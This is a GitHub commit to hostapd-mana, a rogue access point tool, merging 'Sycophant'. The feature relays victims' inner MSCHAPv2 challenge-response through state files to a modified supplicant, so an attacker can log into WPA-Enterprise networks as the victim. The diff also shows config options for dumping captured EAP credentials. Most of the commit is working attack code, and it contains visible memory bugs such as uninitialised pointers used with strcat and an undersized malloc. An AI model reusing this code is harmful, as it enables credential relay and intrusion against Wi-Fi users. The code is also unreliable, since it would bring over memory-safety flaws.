Skip to content

Commit

Permalink
Merging @cablethief's Sycophant Work
Browse files Browse the repository at this point in the history
This is all Michael Kruger's work. I merely cleaned it up, and I suspect
introduced several bugs.

Mana now includes an enable_sycophant and sycophant_dir config
directives. Sycophant maintains state between wpa_sycophant and mana
through the use of a state file that will be written to sycophant_dir.
Additionally, the identity, challenge and response data are passed
between the two using files too.
  • Loading branch information
singe committed Aug 11, 2018
1 parent 76405f1 commit 4f55700
Show file tree
Hide file tree
Showing 8 changed files with 220 additions and 12 deletions.
19 changes: 18 additions & 1 deletion hostapd/config_file.c
Original file line number Diff line number Diff line change
Expand Up @@ -2204,6 +2204,21 @@ static int hostapd_config_fill(struct hostapd_config *conf,
if (conf->mana_eaptls) {
wpa_printf(MSG_DEBUG, "MANA: EAP TLS modes will accept any client certificate.");
}
} else if (os_strcmp(buf, "enable_sycophant") == 0) {
int val = atoi(pos);
conf->enable_sycophant = (val != 0);
if (conf->enable_sycophant) {
wpa_printf(MSG_DEBUG, "SYCOPHANT: Enabled");
}
} else if (os_strcmp(buf, "sycophant_dir") == 0) {
char *tmp = malloc(strlen(pos));
strcpy(tmp,pos);
if (access(pos, W_OK) != 0) {
wpa_printf(MSG_ERROR, "SYCOPHANT: Line %d: Failed to access sycophant directory '%s'", line, pos);
return 1;
}
conf->sycophant_dir = tmp;
wpa_printf(MSG_INFO, "MANA: Sycohpant state directory set to %s.",tmp);
// MANA END
} else if (os_strcmp(buf, "dump_file") == 0) {
wpa_printf(MSG_INFO, "Line %d: DEPRECATED: 'dump_file' configuration variable is not used anymore",
Expand Down Expand Up @@ -3723,9 +3738,11 @@ struct hostapd_config * hostapd_config_read(const char *fname)
conf->mana_outfile = "NOT_SET"; //default none
conf->mana_ssid_filter_file = "NOT_SET"; //default none
conf->mana_wpe = 0; //default off; 1 - dump credentials captured during EAP exchanges 0 - function as normal
conf->mana_credout = "NOT_SET"; //default non
conf->mana_credout = "NOT_SET"; //default none
conf->mana_eapsuccess = 0; //default off; 1 - allow clients to connect even with incorrect creds 0 - function as normal
conf->mana_eaptls = 0; //default off; 1 - accept any client certificate presented in EAP-TLS modes. 0 - validate certificates as normal.
conf->enable_sycophant = 0; //default off; 1 - relay inner MSCHAPv2 authentication with wpa_sycophant. 0 - No relaying
conf->sycophant_dir = "NOT_SET"; //default none
// MANA END

while (fgets(buf, sizeof(buf), f)) {
Expand Down
32 changes: 32 additions & 0 deletions hostapd/ctrl_iface.c
Original file line number Diff line number Diff line change
Expand Up @@ -247,6 +247,24 @@ static int hostapd_ctrl_iface_mana_get_eaptlsmode (struct hostapd_data *hapd)
wpa_printf(MSG_DEBUG, "MANA CTRL_IFACE EAPTLS MODE STATUS QUERY");
return hapd->iconf->mana_eaptls;
}

static int hostapd_ctrl_iface_sycophant_enable_disable (struct hostapd_data *hapd, int status)
{
if (status) {
wpa_printf(MSG_DEBUG, "SYCOPHANT CTRL_IFACE ENABLED");
} else {
wpa_printf(MSG_DEBUG, "SYCOPHANT CTRL_IFACE DISABLED");
}
hapd->iconf->enable_sycophant = status;

return 0;
}

static int hostapd_ctrl_iface_sycophant_get_state (struct hostapd_data *hapd)
{
wpa_printf(MSG_DEBUG, "SYCOPHANT CTRL_IFACE STATUS QUERY");
return hapd->iconf->enable_sycophant;
}
// MANA END

#ifdef CONFIG_IEEE80211W
Expand Down Expand Up @@ -2773,6 +2791,20 @@ static int hostapd_ctrl_iface_receive_process(struct hostapd_data *hapd,
os_memcpy(reply, "MANA EAPTLS MODE DISABLED\n", 26);
reply_len = 26;
}
} else if (os_strcmp(buf, "SYCOPHANT_DISABLE") == 0) {
if (hostapd_ctrl_iface_sycophant_enable_disable(hapd, 0))
reply_len = -1;
} else if (os_strcmp(buf, "SYCOPHANT_ENABLE") == 0) {
if (hostapd_ctrl_iface_sycophant_enable_disable(hapd, 1))
reply_len = -1;
} else if (os_strcmp(buf, "SYCOPHANT_STATE") == 0) {
if (hostapd_ctrl_iface_sycophant_get_state(hapd)) {
os_memcpy(reply, "SYCOPHANT ENABLED\n", 18);
reply_len = 18;
} else {
os_memcpy(reply, "SYCOPHANT DISABLED\n", 19);
reply_len = 19;
}
// END MANA
} else {
os_memcpy(reply, "UNKNOWN COMMAND\n", 16);
Expand Down
12 changes: 11 additions & 1 deletion hostapd/hostapd.conf
Original file line number Diff line number Diff line change
Expand Up @@ -52,12 +52,22 @@ mana_macacl=0
# from the cracking string by a tab if you'd like to grep & cut.
#mana_credout=hostapd.credout

# Enabled EAP Success mode (from WPE)
# Enable EAP Success mode (from WPE)
# Allow clients to connect with incorrect credentials
# Most often, when rogue AP'ing you won't have the clients creds
# But still want a shot at collecting them via MitM
#mana_eapsuccess=1

# Enabled Sycophant
# Allows relaying of inner EAP authentication methods with a modified wpa_supplicant
# wpa_sycophant is available at https://github.com/sensepost/wpa_sycophant
#enable_sycophant=1

# Sycophant state file directory
# Sycophant communicates with wpa_sycophant through several files
# This specifies the location of those files
#sycophant_dir=/tmp/

##### hostapd configuration file ##############################################
# Empty lines and lines starting with # are ignored

Expand Down
15 changes: 15 additions & 0 deletions hostapd/hostapd_cli.c
Original file line number Diff line number Diff line change
Expand Up @@ -431,6 +431,18 @@ static int hostapd_cli_cmd_mana_get_eaptls(struct wpa_ctrl *ctrl, int argc, char
{
return wpa_ctrl_command(ctrl, "MANA_EAPTLS_STATE");
}
static int hostapd_cli_cmd_sycophant_disable(struct wpa_ctrl *ctrl, int argc, char *argv[])
{
return wpa_ctrl_command(ctrl, "SYCOPHANT_DISABLE");
}
static int hostapd_cli_cmd_sycophant_enable(struct wpa_ctrl *ctrl, int argc, char *argv[])
{
return wpa_ctrl_command(ctrl, "SYCOPHANT_ENABLE");
}
static int hostapd_cli_cmd_sycophant_get_state(struct wpa_ctrl *ctrl, int argc, char *argv[])
{
return wpa_ctrl_command(ctrl, "SYCOPHANT_STATE");
}
// END MANA


Expand Down Expand Up @@ -1483,6 +1495,9 @@ static const struct hostapd_cli_cmd hostapd_cli_commands[] = {
{ "mana_eaptls_off", hostapd_cli_cmd_mana_eaptls_disable, NULL, "= disable mana's eaptls mode" },
{ "mana_eaptls_on", hostapd_cli_cmd_mana_eaptls_enable, NULL, "= enable mana's eaptls mode" },
{ "mana_eaptls_state", hostapd_cli_cmd_mana_get_eaptls, NULL, "= check mana's eaptls mode" },
{ "sycophant_get_state", hostapd_cli_cmd_sycophant_get_state, NULL, "= get whether sycophant is enabled or not" },
{ "sycophant_disable", hostapd_cli_cmd_sycophant_disable, NULL, "= disable sycophant" },
{ "sycophant_enable", hostapd_cli_cmd_sycophant_enable, NULL, "= enable sycophant" },
// END MANA

{ NULL, NULL, NULL, NULL }
Expand Down
9 changes: 5 additions & 4 deletions hostapd/main.c
Original file line number Diff line number Diff line change
Expand Up @@ -455,11 +455,12 @@ static void show_version(void)
//"and contributors\n");
"and contributors\n"
"--------------------------------------------------\n"
"MANA (ManInTheMiddle And Network Attack)\n"
"See https://github.com/sensepost/hostapd-mana for more\n"
"By singe ([email protected]) & ian ([email protected])\n"
"MANA https://github.com/sensepost/hostapd-mana\n"
"By @singe (dominic@sensepost.com)\n"
"Original MANA EAP by Ian ([email protected])\n"
"Original karma patches by Robin Wood - [email protected]\n"
"Original EAP patches by Brad Antoniewicz @brad_anton\n");
"Original EAP patches by Brad Antoniewicz @brad_anton\n"
"Sycophant by Michael Kruger @_cablethief");
}


Expand Down
2 changes: 2 additions & 0 deletions src/ap/ap_config.h
Original file line number Diff line number Diff line change
Expand Up @@ -622,6 +622,8 @@ struct hostapd_config {
char * mana_credout;
int mana_eapsuccess;
int mana_eaptls;
int enable_sycophant;
char * sycophant_dir;
// MANA END

u16 beacon_int;
Expand Down
44 changes: 38 additions & 6 deletions src/eap_server/eap_server.c
Original file line number Diff line number Diff line change
Expand Up @@ -164,9 +164,6 @@ int eap_user_get(struct eap_sm *sm, const u8 *identity, size_t identity_len,
int phase2)
{
struct eap_user *user;
char ident = 't';

wpa_printf(MSG_INFO, "MANA EAP Identity Phase %d: %.*s", phase2, (int)identity_len, identity);

if (sm == NULL || sm->eapol_cb == NULL ||
sm->eapol_cb->get_eap_user == NULL)
Expand All @@ -179,10 +176,45 @@ int eap_user_get(struct eap_sm *sm, const u8 *identity, size_t identity_len,
if (user == NULL)
return -1;

if(phase2) {
identity = (const u8 *)&ident;
identity_len = 1;
//MANA START
if (mana.conf->enable_sycophant && os_strcmp("NOT_SET",mana.conf->sycophant_dir) != 0) {
char sup_state[2] = "*";
FILE* sycophantState;
char* sycophantStateFile;
os_strlcpy(sycophantStateFile,mana.conf->sycophant_dir,sizeof(mana.conf->sycophant_dir));
strcat(sycophantStateFile,"SYCOPHANT_STATE");
sycophantState = fopen(sycophantStateFile,"rb");
if (sycophantState != NULL) {
fread(sup_state,1,1,sycophantState);
fclose(sycophantState);
}
if (os_strcmp(sup_state,"I") == 0) {
FILE* sycophantID;
char* sycophantIDFile;
os_strlcpy(sycophantIDFile,mana.conf->sycophant_dir,sizeof(mana.conf->sycophant_dir));
if (phase2)
strcat(sycophantIDFile,"SYCOPHANT_P2ID");
else
strcat(sycophantIDFile,"SYCOPHANT_P1ID");
sycophantID = fopen(sycophantIDFile, "wb");

if (sycophantID != NULL) {
fwrite(identity,identity_len,1,sycophantID);
fclose(sycophantID);
} else
wpa_printf(MSG_ERROR,"SYCOPHANT: Unable to open Sycophant Stage %d Identity File %s",phase2,sycophantIDFile);
}
}
if (mana.conf->mana_wpe || mana.conf->enable_sycophant) {
wpa_printf(MSG_INFO, "MANA EAP Identity Phase %d: %.*s", phase2, (int)identity_len, identity);
if (phase2) {
char ident = 't'; // This must match the entry in the hostapd.eap_user RADIUS config file
identity = (const u8 *)&ident;
identity_len = 1;
}
}
//MANA END

if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
identity_len, phase2, user) != 0) {
eap_user_free(user);
Expand Down
99 changes: 99 additions & 0 deletions src/eap_server/eap_server_mschapv2.c
Original file line number Diff line number Diff line change
Expand Up @@ -126,6 +126,60 @@ static struct wpabuf * eap_mschapv2_build_challenge(
ms->mschapv2_id = id;
WPA_PUT_BE16(ms->ms_length, ms_len);

//MANA SYCOPHANT START
if (mana.conf->enable_sycophant) {
char sup_state[2] = "*";
FILE* sycophantState;
char* sycophantStateFile;
os_strlcpy(sycophantStateFile,mana.conf->sycophant_dir,sizeof(mana.conf->sycophant_dir));
strcat(sycophantStateFile,"SYCOPHANT_STATE");
sycophantState = fopen(sycophantStateFile,"rb");

while (os_strcmp(sup_state,"C") != 0) {
if (sycophantState == NULL) {
wpa_printf (MSG_ERROR,"SYCOPHANT: Unable to open state file %s, not relaying",sycophantStateFile);
break;
} else {
fread(sup_state,1,1,sycophantState);
fclose(sycophantState);
if (strcmp(sup_state,"Z") == 0) {
break;
}
usleep(10000); //Prevent thrashing
}
}

if (strcmp(sup_state,"C") == 0) {
FILE* challengeIn;
char* challengeInFile;
os_strlcpy(challengeInFile,mana.conf->sycophant_dir,sizeof(mana.conf->sycophant_dir));
strcat(challengeInFile,"CHALLENGE");
challengeIn = fopen(challengeInFile, "rb");
if (challengeIn == NULL) {
wpa_printf(MSG_ERROR, "SYCOPHANT: Could not open challenge file %s",challengeInFile);
} else {
fseek(challengeIn, 0, SEEK_END);
if (ftell(challengeIn) > 0) {
rewind(challengeIn);
u8 line [CHALLENGE_LEN];
fread(line, CHALLENGE_LEN, 1, challengeIn);
wpa_hexdump(MSG_DEBUG, "SYCOPHANT: Incoming MSCHAPv2 challenge", line, CHALLENGE_LEN);
memcpy(data->auth_challenge, line, CHALLENGE_LEN);
fclose(challengeIn);
// Blank file
challengeIn = fopen(challengeInFile, "wb");
fclose(challengeIn);
} else {
fclose(challengeIn);
usleep(1000); // Prevent thrashing
}
}
// TODO: find replace for all these random youtube vids
// https://www.youtube.com/watch?v=QUNJ5TRRYqg
}
}
//MANA SYCOPHANT END

wpabuf_put_u8(req, CHALLENGE_LEN);
if (!data->auth_challenge_from_tls)
wpabuf_put_data(req, data->auth_challenge, CHALLENGE_LEN);
Expand Down Expand Up @@ -302,6 +356,51 @@ static void eap_mschapv2_process_response(struct eap_sm *sm,
resp = (struct eap_mschapv2_hdr *) pos;
pos = (u8 *) (resp + 1);

//MANA SYCOPHANT START
if (mana.conf->enable_sycophant) {
char sup_state[2] = "*";
FILE* sycophantState;
char* sycophantStateFile;
os_strlcpy(sycophantStateFile,mana.conf->sycophant_dir,sizeof(mana.conf->sycophant_dir));
strcat(sycophantStateFile,"SYCOPHANT_STATE");
sycophantState = fopen(sycophantStateFile,"rb");

if (sycophantState != NULL) {
fread(sup_state,1,1,sycophantState);
fclose(sycophantState);
} else {
wpa_printf (MSG_ERROR,"SYCOPHANT: Unable to open state file %s, not relaying",sycophantStateFile);
}

if (strcmp(sup_state,"C") == 0) {
FILE* responseOut;
char* responseOutFile;
os_strlcpy(responseOutFile,mana.conf->sycophant_dir,sizeof(mana.conf->sycophant_dir));
strcat(responseOutFile,"RESPONSE");
responseOut = fopen(responseOutFile, "wb");
if (responseOut == NULL) {
wpa_printf(MSG_ERROR, "SYCOPHANT: Could not open response file %s",responseOutFile);
} else {
fwrite(respData->buf,respData->used,1,responseOut);
wpa_hexdump(MSG_DEBUG, "SYCOPHANT: Response to be sent to supplicant", respData->buf, respData->used);
fclose(responseOut);
}
}

// Inform of our readyness
sycophantState = fopen(sycophantStateFile,"wb");

if (sycophantState != NULL) {
sup_state[0] = 'R';
fwrite(sup_state,1,1,sycophantState);
fclose(sycophantState);
wpa_printf(MSG_INFO,"SYCOPHANT: MSCHAPv2 Response handed off to supplicant.");
} else {
wpa_printf (MSG_ERROR,"SYCOPHANT: Unable to open state file %s",sycophantStateFile);
}
}
//MANA SYCOPHANT END

if (len < sizeof(*resp) + 1 + 49 ||
resp->op_code != MSCHAPV2_OP_RESPONSE ||
pos[0] != 49) {
Expand Down

0 comments on commit 4f55700

Please sign in to comment.